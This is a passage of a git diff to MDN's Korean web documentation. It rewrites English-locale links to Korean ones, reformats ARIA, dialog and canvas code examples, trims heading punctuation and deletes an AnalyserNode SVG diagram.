-- [`presentation`](/en-US/docs/Web/Accessibility/ARIA/Roles/presentation_role) / [`none`](/en-US/docs/Web/Accessibility/ARIA/Roles/none_role)
-- [`strong`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`subscript`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`superscript`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`suggestion`](/en-US/docs/Web/Accessibility/ARIA/Roles/suggestion_role)
-- [`term`](/en-US/docs/Web/Accessibility/ARIA/Roles/term_role)
-- [`time`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`code`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`caption`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`deletion`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`emphasis`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`generic`](/ko/docs/Web/Accessibility/ARIA/Roles/generic_role)
+- [`insertion`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`mark`](/ko/docs/Web/Accessibility/ARIA/Roles/mark_role)
+- [`paragraph`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`presentation`](/ko/docs/Web/Accessibility/ARIA/Roles/presentation_role) / [`none`](/ko/docs/Web/Accessibility/ARIA/Roles/none_role)
+- [`strong`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`subscript`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`superscript`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
+- [`suggestion`](/ko/docs/Web/Accessibility/ARIA/Roles/suggestion_role)
+- [`term`](/ko/docs/Web/Accessibility/ARIA/Roles/term_role)
+- [`time`](/ko/docs/Web/Accessibility/ARIA/Roles/structural_roles)
 
 > **참고:** `aria-label` 속성은 오로지 상호작용 요소에서만 사용됩니다. 위에 나열된 것들과 같은 비 상호작용 요소에 사용할 경우 aria-label 속성 값은 읽히지 않거나, 비 상호작용 요소를 상호작용하는 요소처럼 작동하는 것으로 사용자를 혼동시킬 수 있습니다.
 
@@ -91,9 +91,9 @@ slug: Web/Accessibility/ARIA/Attributes/aria-label
 ## 같이 보기
 
 - {{HTMLElement('label')}} 요소
-- [`aria-labelledby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby)
+- [`aria-labelledby`](/ko/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby)
 
 <section id="Quick_links">
-<strong><a href="/en-US/docs/Web/Accessibility/ARIA/Attributes">WAI-ARIA states and properties</a></strong>
-{{ListSubpagesForSidebar("/en-US/docs/Web/Accessibility/aria/Attributes")}}
+<strong><a href="/ko/docs/Web/Accessibility/ARIA/Attributes">WAI-ARIA states and properties</a></strong>
+{{ListSubpagesForSidebar("/ko/docs/Web/Accessibility/aria/Attributes")}}
 </section>
diff --git a/files/ko/web/accessibility/aria/index.md b/files/ko/web/accessibility/aria/index.md
index e9d589b8baa891..f8618587dcd6ee 100644
--- a/files/ko/web/accessibility/aria/index.md
+++ b/files/ko/web/accessibility/aria/index.md
@@ -12,19 +12,22 @@ ARIA는 HTML을 보충해, 일반적으로 보조 기술이 알 수 없는 상
 다음은 진행 표시줄 위젯의 마크업입니다.
 
 ```html
-<div id="percent-loaded" role="progressbar" aria-valuenow="75"
-     aria-valuemin="0" aria-valuemax="100">
-</div>
+<div
+  id="percent-loaded"
+  role="progressbar"
+  aria-valuenow="75"
+  aria-valuemin="0"
+  aria-valuemax="100"></div>
 ```
 
 This progress bar is built using a `<div>`, which has no meaning. Unfortunately, there isn't a more semantic tag available to developers in HTML 4, so we need to include ARIA roles and properties. These are specified by adding attributes to the element. In this example, the `role="progressbar"` attribute informs the browser that this element is actually a JavaScript-powered progress bar widget. The `aria-valuemin` and `aria-valuemax` attributes specify the minimum and maximum values for the progress bar, and the `aria-valuenow` describes the current state of it and therefore must be kept updated with JavaScript. Along with placing them directly in the markup, ARIA attributes can be added to the element and updated dynamically using JavaScript code like this:
 
 ```js
-`// Find the progress bar <div> in the DOM.
- var progressBar = document.getElementById("percent-loaded");`
+// Find the progress bar <div> in the DOM.
+var progressBar = document.getElementById("percent-loaded");
 
-`// Set its ARIA roles and states,
-// so that assistive technologies know what kind of widget it is.`
+// Set its ARIA roles and states,
+// so that assistive technologies know what kind of widget it is.`;
 progressBar.setAttribute("role", "progressbar");
 progressBar.setAttribute("aria-valuemin", 0);
 progressBar.setAttribute("aria-valuemax", 100);
@@ -32,7 +35,7 @@ progressBar.setAttribute("aria-valuemax", 100);
 // Create a function that can be called at any time to update
 // the value of the progress bar.
 function updateProgress(percentComplete) {
-progressBar.setAttribute("aria-valuenow", percentComplete);
+  progressBar.setAttribute("aria-valuenow", percentComplete);
 }
 ```
 
diff --git a/files/ko/web/accessibility/aria/roles/dialog_role/index.md b/files/ko/web/accessibility/aria/roles/dialog_role/index.md
index 231484bf7c4cfc..4ab7cbe55eac3a 100644
--- a/files/ko/web/accessibility/aria/roles/dialog_role/index.md
+++ b/files/ko/web/accessibility/aria/roles/dialog_role/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'ARIA: dialog role'
+title: "ARIA: dialog role"
 slug: Web/Accessibility/ARIA/Roles/dialog_role
 ---
 
@@ -10,10 +10,14 @@ slug: Web/Accessibility/ARIA/Roles/dialog_role
 [`dialog`](http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#dialog) 역할(role)은 HTML 기반의 애플리케이션의 다이얼로그 또는 콘텐츠를 분리하는 창 또는 다른 웹 애플리케이션의 UI 혹은 페이지를 마크업하는데 사용됩니다. 다이얼로그는 일반적으로 오버레이를 사용하여 페이지 위에 표시됩니다. 다이얼로그는 비모달(non-modal) (열린 이후에도 다이얼로그 바깥의 콘텐츠와 상호작용할 수 있습니다) 또는 모달(오로지 다이얼로그 콘텐츠와 상호작용할 수 있습니다) 형태일 수 있습니다.
 
 ```html
-<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+<div
+  role="dialog"
+  aria-labelledby="dialog1Title"
+  aria-describedby="dialog1Desc">
   <h2 id="dialog1Title">귀하의 개인정보가 성공적으로 갱신되었습니다.</h2>
   <p id="dialog1Desc">
-    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할
+    수 있습니다.
   </p>
   <button>닫기</button>
 </div>
@@ -35,10 +39,14 @@ slug: Web/Accessibility/ARIA/Roles/dialog_role
 만약 다이얼로그가 이미 눈에 보이는 타이틀바를 가지고 있다면, 그 안속의 텍스트는 다이얼로그를 레이블하는데 사용될 수 있습니다. 이를 이루기 위해 `role="dialog"` 속성을 가진 요소에 `aria-labelledby` 속성을 사용합니다. 또한, 만약 다이얼로그에 제목 외의 추가적인 설명 텍스트가 있다면, 그 텍스트는 `aria-describedby` 속성을 사용하여 다이얼로그에 관련되게 만들 수 있습니다. 이러한 방법은 아래 코드를 통해 확인하실 수 있습니다:
 
 ```html
-<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+<div
+  role="dialog"
+  aria-labelledby="dialog1Title"
+  aria-describedby="dialog1Desc">
   <h2 id="dialog1Title">귀하의 개인정보가 성공적으로 갱신되었습니다.</h2>
   <p id="dialog1Desc">
-    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+    <a href="/account">개인정보 관리</a> 페이지에서 언제든지 개인정보를 수정할
+    수 있습니다.
   </p>
   <button>닫기</button>
 </div>
@@ -79,27 +87,30 @@ When the dialog is correctly labeled and focus is moved to a control inside the
 #### 예제 1: 폼을 포함하는 다이얼로그
 
 ```html
- <div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
-   <h2 id="dialog1Title">구독하기</h2>
-   <p id="dialog1Desc">우리는 이 정보를 제 3자에게 제공하지 않습니다.</p>
-   <form>
-     <p>
-       <label for="firstName">이름</label>
-       <input id="firstName" type="text" />
-     </p>
-     <p>
-       <label for="lastName">성</label>
-       <input id="lastName" type="text"/>
-     </p>
-     <p>
-       <label for="interests">관심분야</label>
-       <textarea id="interests"></textarea>
-     </p>
-     <p>
-         <input type="submit" value="정보 저장하기"/>
-     </p>
-   </form>
- </div>
+<div
+  role="dialog"
+  aria-labelledby="dialog1Title"
+  aria-describedby="dialog1Desc">
+  <h2 id="dialog1Title">구독하기</h2>
+  <p id="dialog1Desc">우리는 이 정보를 제 3자에게 제공하지 않습니다.</p>
+  <form>
+    <p>
+      <label for="firstName">이름</label>
+      <input id="firstName" type="text" />
+    </p>
+    <p>
+      <label for="lastName">성</label>
+      <input id="lastName" type="text" />
+    </p>
+    <p>
+      <label for="interests">관심분야</label>
+      <textarea id="interests"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="정보 저장하기" />
+    </p>
+  </form>
+</div>
 ```
 
 #### Example 2: A dialog based on a Fieldset as fallback content
@@ -107,17 +118,25 @@ When the dialog is correctly labeled and focus is moved to a control inside the
 To support browsers or AT products that do not support ARIA mark up, it's also possible to use apply the dialog markup to a fieldset element as fallback content. This way the dialog title will still be announced correctly:
 
 ```html
-<fieldset role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+<fieldset
+  role="dialog"
+  aria-labelledby="dialog1Title"
+  aria-describedby="dialog1Desc">
   <legend>
-    <span id="dialog1Title">Your personal details were successfully updated.</span>
-    <span id="dialog1Desc">You can change your details at any time in the user account section.</span>
+    <span id="dialog1Title"
+      >Your personal details were successfully updated.</span
+    >
+    <span id="dialog1Desc"
+      >You can change your details at any time in the user account
+      section.</span
+    >
   </legend>
 
   <button>Close</button>
 </fieldset>
 ```
 
-#### 작업된 예제:
+#### 작업된 예제
 
 - [jQuery-UI Dialog](http://jqueryui.com/demos/dialog/)
 
diff --git a/files/ko/web/accessibility/mobile_accessibility_checklist/index.md b/files/ko/web/accessibility/mobile_accessibility_checklist/index.md
index 4e1018ca455f31..96b5781674b0bb 100644
--- a/files/ko/web/accessibility/mobile_accessibility_checklist/index.md
+++ b/files/ko/web/accessibility/mobile_accessibility_checklist/index.md
@@ -58,9 +58,9 @@ slug: Web/Accessibility/Mobile_accessibility_checklist
 
   ```html
   <h1>Top level heading</h1>
-    <h2>Secondary heading</h2>
-    <h2>Another secondary heading</h2>
-      <h3>Low level heading</h3>
+  <h2>Secondary heading</h2>
+  <h2>Another secondary heading</h2>
+  <h3>Low level heading</h3>
   ```
 
 - [ARIA Landmark Roles](http://www.w3.org/TR/wai-aria/roles#landmark_roles_header) **SHOULD** be used to describe an app or document structure, such as `banner`, `complementary`, `contentinfo`, `main`, `navigation`, `search`.
diff --git a/files/ko/web/accessibility/understanding_wcag/keyboard/index.md b/files/ko/web/accessibility/understanding_wcag/keyboard/index.md
index ff5f8eccfdd091..aa3db3a78f5c72 100644
--- a/files/ko/web/accessibility/understanding_wcag/keyboard/index.md
+++ b/files/ko/web/accessibility/understanding_wcag/keyboard/index.md
@@ -62,7 +62,7 @@ If the user can interact with an element (for example, using touch or a pointing
 
 ## Focusable element must have focus styling
 
-Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the [`:focus`](/en-US/docs/Web/CSS/:focus) CSS pseudo-class.
+Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the [`:focus`](/ko/docs/Web/CSS/:focus) CSS pseudo-class.
 
 Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.
 
diff --git a/files/ko/web/api/abortsignal/index.md b/files/ko/web/api/abortsignal/index.md
index 78c524326d4430..7c9abd296652c2 100644
--- a/files/ko/web/api/abortsignal/index.md
+++ b/files/ko/web/api/abortsignal/index.md
@@ -18,7 +18,7 @@ _AbortSignal 인터페이스는 또한 부모 인터페이스 {{domxref("EventTa
 
 [`addEventListener()`](/ko/docs/Web/API/EventTarget/addEventListener)를 사용하거나 이 인터페이스의 `oneventname` 프로퍼티로 이벤트 리스너를 할당하여 이벤트를 리슨합니다.
 
-- [`abort`](/en-US/docs/Web/API/AbortSignal/abort_event)
+- [`abort`](/ko/docs/Web/API/AbortSignal/abort_event)
   - : 신호가 통신하는 요청이 취소되었을 때 호출됩니다. [`onabort`](/ko/docs/Web/API/AbortSignal/onabort) 프로퍼티를 통해서도 사용이 가능합니다.
 
 ## 메소드
diff --git a/files/ko/web/api/analysernode/fttaudiodata_en.svg b/files/ko/web/api/analysernode/fttaudiodata_en.svg
deleted file mode 100644
index b1c40a38689942..00000000000000
--- a/files/ko/web/api/analysernode/fttaudiodata_en.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="692.929" height="206.323"><path fill="none" stroke="#010101" d="M25.556 31.667v59.458"/><path fill="#010101" d="M19.722 32.667l5.834-16.839 5.5 16.839zm210.915 51.914l16.839 5.834-16.839 5.5z"/><path fill="none" stroke="#010101" stroke-miterlimit="10" d="M25.722 53.167h36.667s4.167-14.333 9-11c0 0 2.333.417 7.333 14 0 0 2.917 10.583 8 8.167 0 0 3.333-.417 6.667-14.167 0 0 3.333-11.917 8.5-7.333 0 0 2.667 1.833 6.5 13.333 0 0 4 12 8.5 7.5 0 0 3.333-2.666 6.167-13.5 0 0 3.167-12.667 9-7.667 0 0 2.292.562 5.667 13.5 0 0 4.167 13.083 9.5 7.667 0 0 2.188-1.729 5-13.5 0 0 3.25-12.667 8.5-7.667 0 0 2.938 3.25 6.667 13.667 0 0 5.021 12.333 8.833 7.667 0 0 3.812-4.646 4.667-10.561h30"/><text transform="translate(252.055 94.834)" font-family="'ArialMT'" font-size="14">t</text><text transform="translate(23.222 106.333)"><tspan x="0" y="0" font-family="'ArialMT'" font-size="14">0</tspan><tspan x="7.786" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="36" y="0" font-family="'ArialMT'" font-size="14">1</tspan><tspan x="43.786" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="72" y="0" font-family="'ArialMT'" font-size="14">2</tspan><tspan x="79.786" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="108" y="0" font-family="'ArialMT'" font-size="14">3</tspan><tspan x="115.787" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="144" y="0" font-family="'ArialMT'" font-size="14">4</tspan></text><path fill="none" stroke="#010101" stroke-miterlimit="10" d="M25.556 90.667h205.081"/><path fill="none" stroke="#010101" d="M431.556 31.667v59.458"/><path fill="#010101" d="M425.722 32.667l5.834-16.839 5.5 16.839zm210.914 51.914l16.84 5.834-16.84 5.5z"/><path fill="none" stroke="#010101" stroke-miterlimit="10" d="M431.722 53.167h36.666s4.167-14.333 9-11c0 0 2.334.417 7.334 14 0 0 2.916 10.583 8 8.167 0 0 3.334-.417 6.666-14.167 0 0 3.334-11.917 8.5-7.333 0 0 2.667 1.833 6.5 13.333 0 0 4 12 8.5 7.5 0 0 3.334-2.666 6.168-13.5 0 0 3.166-12.667 9-7.667 0 0 2.291.562 5.666 13.5 0 0 4.167 13.083 9.5 7.667 0 0 2.188-1.729 5-13.5 0 0 3.25-12.667 8.5-7.667 0 0 2.938 3.25 6.667 13.667 0 0 5.021 12.333 8.833 7.667 0 0 3.812-4.646 4.667-10.561h30"/><text transform="translate(658.055 94.834)" font-family="'ArialMT'" font-size="14">t</text><text transform="translate(429.222 106.333)"><tspan x="0" y="0" font-family="'ArialMT'" font-size="14">0</tspan><tspan x="7.786" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="36" y="0" font-family="'ArialMT'" font-size="14">1</tspan><tspan x="43.786" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="72" y="0" font-family="'ArialMT'" font-size="14">2</tspan><tspan x="79.786" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="108" y="0" font-family="'ArialMT'" font-size="14">3</tspan><tspan x="115.787" y="0" font-family="'ArialMT'" font-size="14" letter-spacing="24"> </tspan><tspan x="144" y="0" font-family="'ArialMT'" font-size="14">4</tspan></text><path fill="none" stroke="#010101" stroke-miterlimit="10" d="M431.556 90.667h205.08"/><path fill="#010101" d="M401.636 47.489l16.84 5.834-16.84 5.5z"/><path fill="none" stroke="#010101" stroke-miterlimit="10" d="M273.555 53.576h128.081"/><path fill="#010101" d="M347.889 148.454l-5.834 16.84-5.5-16.84z"/><path fill="#719FD0" stroke="#010101" d="M299.222 35h86v96.5h-86z"/><text transform="translate(304.223 56.823)" font-family="'ArialMT'" font-size="11">AnalyserNode</text><path fill="none" stroke="#010101" stroke-miterlimit="10" d="M341.803 118v30.454"/><text transform="translate(331.889 106.333)" font-family="'Arial-BoldMT'" font-size="11">FFT</text><path fill="none" stroke="#2C2C76" stroke-miterlimit="10" d="M321.889 86.667h41l-8 29.333h-25.333z"/><g font-family="'ArialMT'" font-size="11"><text transform="translate(484.89 131.5)">unchanged output</text><text transform="translate(302.223 176.167)">frequency data</text></g></svg>
\ No newline at end of file
diff --git a/files/ko/web/api/background_tasks_api/index.md b/files/ko/web/api/background_tasks_api/index.md
index 406b0264dc9487..09d56cac74e1bd 100644
--- a/files/ko/web/api/background_tasks_api/index.md
+++ b/files/ko/web/api/background_tasks_api/index.md
@@ -80,7 +80,7 @@ Background Tasks API 는 단 하나의 새 인터페이스를 추가합니다:
 
 ```html
 <p>
-  Demonstration of using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API">
+  Demonstration of using <a href="https://developer.mozilla.org/ko/docs/Web/API/Background_Tasks_API">
   cooperatively scheduled background tasks</a> using the <code>requestIdleCallback()</code>
   method.
 </p>
@@ -421,7 +421,7 @@ function logTaskHandler(data) {
 
 사용자가 시작 버튼을 클릭하면 `decodeTechnoStuff()` 함수가 호출되며 모든것이 시작됩니다.
 
-The `[getRandomIntInclusive()](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random?document_saved=true#Getting_a_random_integer_between_two_values_inclusive)` method comes from the examples for {{jsxref("Math.random()")}}; we'll just link to it below but it needs to be included here for the example to work.
+The `[getRandomIntInclusive()](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/random?document_saved=true#Getting_a_random_integer_between_two_values_inclusive)` method comes from the examples for {{jsxref("Math.random()")}}; we'll just link to it below but it needs to be included here for the example to work.
 
 ```js
 function getRandomIntInclusive(min, max) {
diff --git a/files/ko/web/api/batterymanager/chargingtime/index.md b/files/ko/web/api/batterymanager/chargingtime/index.md
index 7c85b4129bffd0..182f9ce8658ffb 100644
--- a/files/ko/web/api/batterymanager/chargingtime/index.md
+++ b/files/ko/web/api/batterymanager/chargingtime/index.md
@@ -13,7 +13,7 @@ slug: Web/API/BatteryManager/chargingTime
     var time = battery.chargingTime
 ```
 
-반환되는 중에, 건전지가 완전히 충전될 때까지 또는 이미 완전히 충전되어 있다면 0이 될 때까지 `time` 은 몇 초 뒤에 남게 되는 시간입니다. 이는 {{domxref("BatteryManager")}} object (객체),입니다. 배터리의 전류가 방전되어 있다면, 이 값은 [`Infinity`](/en-US/docs/JavaScript/Reference/Global_Objects/Infinity), 즉 무한 값이 됩니다.
+반환되는 중에, 건전지가 완전히 충전될 때까지 또는 이미 완전히 충전되어 있다면 0이 될 때까지 `time` 은 몇 초 뒤에 남게 되는 시간입니다. 이는 {{domxref("BatteryManager")}} object (객체),입니다. 배터리의 전류가 방전되어 있다면, 이 값은 [`Infinity`](/ko/docs/JavaScript/Reference/Global_Objects/Infinity), 즉 무한 값이 됩니다.
 
 ## 예제
 
diff --git a/files/ko/web/api/biquadfilternode/index.md b/files/ko/web/api/biquadfilternode/index.md
index cd307986b1795a..bee79cdc2c0758 100644
--- a/files/ko/web/api/biquadfilternode/index.md
+++ b/files/ko/web/api/biquadfilternode/index.md
@@ -143,7 +143,7 @@ _Inherits properties from its parent,_ _{{domxref("AudioNode")}}_.
           <td>
             밴드 스톱, 혹은 밴드 리젝션으로 불리는 표준 <a
               href="http://en.wikipedia.org/wiki/Band-stop_filter"
-              title="/en-US/docs/"
+              title="/ko/docs/"
               >notch</a
             > 필터입니다. 이는 밴드패스 필터와 반대입니다. 주어진 대역폭 바깥의
             주파수는 통과하며, 안쪽의 주파수는 감쇠합니다.
@@ -159,7 +159,7 @@ _Inherits properties from its parent,_ _{{domxref("AudioNode")}}_.
           <td>
             표준 2차 <a
               href="http://en.wikipedia.org/wiki/All-pass_filter#Digital_Implementation"
-              title="/en-US/docs/"
+              title="/ko/docs/"
               >allpass</a
             > 필터입니다. 이는 모든 주파수를 통과시키지만, 가변 주파수 사이의 위상
             관계를 변화시킵니다.
@@ -167,7 +167,7 @@ _Inherits properties from its parent,_ _{{domxref("AudioNode")}}_.
           <td>
             최대 <a
               href="http://en.wikipedia.org/wiki/Group_delay_and_phase_delay"
-              title="/en-US/docs/"
+              title="/ko/docs/"
               >group delay</a
             >를 갖는 주파수, 즉 위상 전이 발생의 중심에 있는 주파수입니다.
           </td>
diff --git a/files/ko/web/api/canvas_api/tutorial/advanced_animations/index.md b/files/ko/web/api/canvas_api/tutorial/advanced_animations/index.md
index e1c846e6fe7bb1..7800582cdc32b9 100644
--- a/files/ko/web/api/canvas_api/tutorial/advanced_animations/index.md
+++ b/files/ko/web/api/canvas_api/tutorial/advanced_animations/index.md
@@ -297,7 +297,7 @@ ball.draw();
 
 ## 마우스 컨트롤 추가하기
 
-공을 컨트롤 하기 위해, 우리는 [`mousemove`](/en-US/docs/Web/Reference/Events/mousemove) 이벤트를 사용하여 마우스를 따라오게 할 것이다. [`click`](/en-US/docs/Web/Events/click) 이벤트를 통해 공을 놓으면 다시 공이 튀도록 할 것이다.
+공을 컨트롤 하기 위해, 우리는 [`mousemove`](/ko/docs/Web/Reference/Events/mousemove) 이벤트를 사용하여 마우스를 따라오게 할 것이다. [`click`](/ko/docs/Web/Events/click) 이벤트를 통해 공을 놓으면 다시 공이 튀도록 할 것이다.
 
 ```html hidden
 <canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas>
diff --git a/files/ko/web/api/canvas_api/tutorial/basic_usage/index.md b/files/ko/web/api/canvas_api/tutorial/basic_usage/index.md
index dd6ccc948199db..da7f44116a0dbd 100644
--- a/files/ko/web/api/canvas_api/tutorial/basic_usage/index.md
+++ b/files/ko/web/api/canvas_api/tutorial/basic_usage/index.md
@@ -18,7 +18,7 @@ original_slug: Web/HTML/Canvas/Tutorial/Basic_usage
 
 > **참고:** **노트:** 만약 렌더링이 왜곡된 것처럼 보이는 경우 CSS를 사용하지 않고 `<canvas>` 속성에서 `width` 및 `height` 속성을 명시적으로 지정하십시오.
 
-[`id`](/ko/docs/Web/HTML/Global_attributes/id) 속성(어트리뷰트)는 `<canvas>` 요소에 국한되지 않는 글로벌HTML 속성 ([global HTML attributes](/ko/docs/Web/HTML/Global_attributes) )중 하나로, 모든 HTML 요소에 적용 ( [`class`](/en-US/docs/Web/HTML/Global_attributes/class) 등등)될 수 있습니다. 대체로 항상 `id` 속성을 사용해 주는것이 좋은데, 이는 스크립트 내에서 구분을 쉽게 해 줄 수 있기 때문입니다.
+[`id`](/ko/docs/Web/HTML/Global_attributes/id) 속성(어트리뷰트)는 `<canvas>` 요소에 국한되지 않는 글로벌HTML 속성 ([global HTML attributes](/ko/docs/Web/HTML/Global_attributes) )중 하나로, 모든 HTML 요소에 적용 ( [`class`](/ko/docs/Web/HTML/Global_attributes/class) 등등)될 수 있습니다. 대체로 항상 `id` 속성을 사용해 주는것이 좋은데, 이는 스크립트 내에서 구분을 쉽게 해 줄 수 있기 때문입니다.
 
 `<canvas>`요소는 일반적인 이미지 ({{cssxref("margin")}}, {{cssxref("border")}}, {{cssxref("background")}}…) 처럼 스타일을 적용시킬 수 있습니다. 하지만 이 방법은 실제 캔버스 위에 그리는 것에는 영향을 끼치지 않습니다. 이 방법이 어떻게 사용되는지는 [해당 챕터](/ko/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors)에서 확인 할 수 있습니다. 캔버스에 스타일링이 따로 지정 되있지 않았다면, 캔버스 스타일은 투명으로 설정되어있습니다.
 
diff --git a/files/ko/web/api/canvas_api/tutorial/optimizing_canvas/index.md b/files/ko/web/api/canvas_api/tutorial/optimizing_canvas/index.md
index 0befb6d26d705f..0c1813ea2bf205 100644
--- a/files/ko/web/api/canvas_api/tutorial/optimizing_canvas/index.md
+++ b/files/ko/web/api/canvas_api/tutorial/optimizing_canvas/index.md
@@ -24,7 +24,7 @@ myCanvas.offscreenCanvas.height = myCanvas.height;
 myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);
 ```
 
-### 부동 소수점 좌표를 피하고 대신 정수를 사용하라.
+### 부동 소수점 좌표를 피하고 대신 정수를 사용하라
 
 정수값들 없이 캔버스 상의 객체를 렌더링할 때 부가적인 픽셀 렌더링이 발생합니다.
 
@@ -34,11 +34,11 @@ ctx.drawImage(myImage, 0.3, 0.5);
 
 이렇게하면 앤티 앨리어싱(anti-aliasing) 효과를 만들기 위해 브라우저에서 추가 연산을 수행해야합니다. 예제에서 이를 방지하려면 {{jsxref("Math.floor()")}}를 사용하여 {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} 호출에 사용된 모든 좌표를 반올림해야합니다.
 
-### `drawImage`에서 이미지 크기를 조정하지 마라.
+### `drawImage`에서 이미지 크기를 조정하지 마라
 
 {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}에서 즉시 크기를 조정하지 말고 다양한 이미지 크기를 오프스크린(offscreen) 캔버스에 캐시하십시오.
 
-### 복잡한 장면에 여러 개의 레이어 캔버스를 사용하라.
+### 복잡한 장면에 여러 개의 레이어 캔버스를 사용하라
 
 어플리케이션에서 일부 객체는 자주 이동하거나 변경해야하지만 다른 객체는 상대적으로 고정 위치에 남아야 합니다. 이런 상황에서 대응 가능한 최적화는 여러 `<canvas>` 엘리먼트를 사용하여 항목을 겹쳐서 만드는 것입니다.
 
@@ -66,11 +66,11 @@ ctx.drawImage(myImage, 0.3, 0.5);
 </style>
 ```
 
-### 큰 배경 이미지는 일반 CSS를 사용하라.
+### 큰 배경 이미지는 일반 CSS를 사용하라
 
 정적 배경 이미지가있는 경우 CSS {{cssxref("background")}} 속성을 사용하여 일반 {{HTMLElement("div")}} 요소에 그릴 수 있으며 캔버스 아래에 배치 할 수 있습니다. 이렇게하면 모든 틱 마다 배경을 캔버스에 렌더링 할 필요가 없어집니다.
 
-### CSS 변환(transform)을 사용하여 캔버스 크기 조정하라.
+### CSS 변환(transform)을 사용하여 캔버스 크기 조정하라
 
 [CSS 변환(transform)](/ko/docs/Web/Guide/CSS/Using_CSS_transforms)은 GPU를 사용하기 때문에 더 빠릅니다. 가장 좋은 경우는 캔버스를 스케일링하지 않거나, 큰 캔버스를 축소하기보다 작은 캔버스를 확대하는 것입니다.
 
@@ -85,7 +85,7 @@ stage.style.transformOrigin = '0 0'; //scale from top left
 stage.style.transform = 'scale(' + scaleToFit + ')';
 ```
 
-### 투명도를 사용하지 마라.
+### 투명도를 사용하지 마라
 
 응용 프로그램이 캔버스를 사용하고 투명 배경을 필요로하지 않는 경우 [`HTMLCanvasElement.getContext()`](/ko/docs/Web/API/HTMLCanvasElement/getContext)를 사용하여 드로잉 컨텍스트를 만들 때 alpha 옵션을 false로 설정합니다. 이 정보는 렌더링을 최적화하기 위해 브라우저에서 내부적으로 사용할 수 있습니다.
 
diff --git a/files/ko/web/api/canvas_api/tutorial/transformations/index.md b/files/ko/web/api/canvas_api/tutorial/transformations/index.md
index c49dcd42e2491c..30584779052534 100644
--- a/files/ko/web/api/canvas_api/tutorial/transformations/index.md
+++ b/files/ko/web/api/canvas_api/tutorial/transformations/index.md
@@ -217,7 +217,7 @@ draw();
 - {{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}
   - : 인수(arguments)에 표시된 행렬을 이용해 현재 변환 행렬을 곱합니다. 변환 행렬은 다음과 같이 작성됩니다. <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &#x26; c &#x26; e \\ b &#x26; d &#x26; f \\ 0 &#x26; 0 &#x26; 1 \end{array} \right]</annotation></semantics></math>
 
-<dl><dd>만일 인수 중에 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>가 있다면, 변환 행렬은 예외 처리하는 메소드 대신에 반드시 infinite로 표시되어야 합니다.</dd></dl>
+<dl><dd>만일 인수 중에 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/ko/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>가 있다면, 변환 행렬은 예외 처리하는 메소드 대신에 반드시 infinite로 표시되어야 합니다.</dd></dl>
 
 이 function의 매개 변수들은 다음과 같습니다.
 
diff --git a/files/ko/web/api/crypto/index.md b/files/ko/web/api/crypto/index.md
index 3ec6de156d5f48..d82dea05e01a22 100644
--- a/files/ko/web/api/crypto/index.md
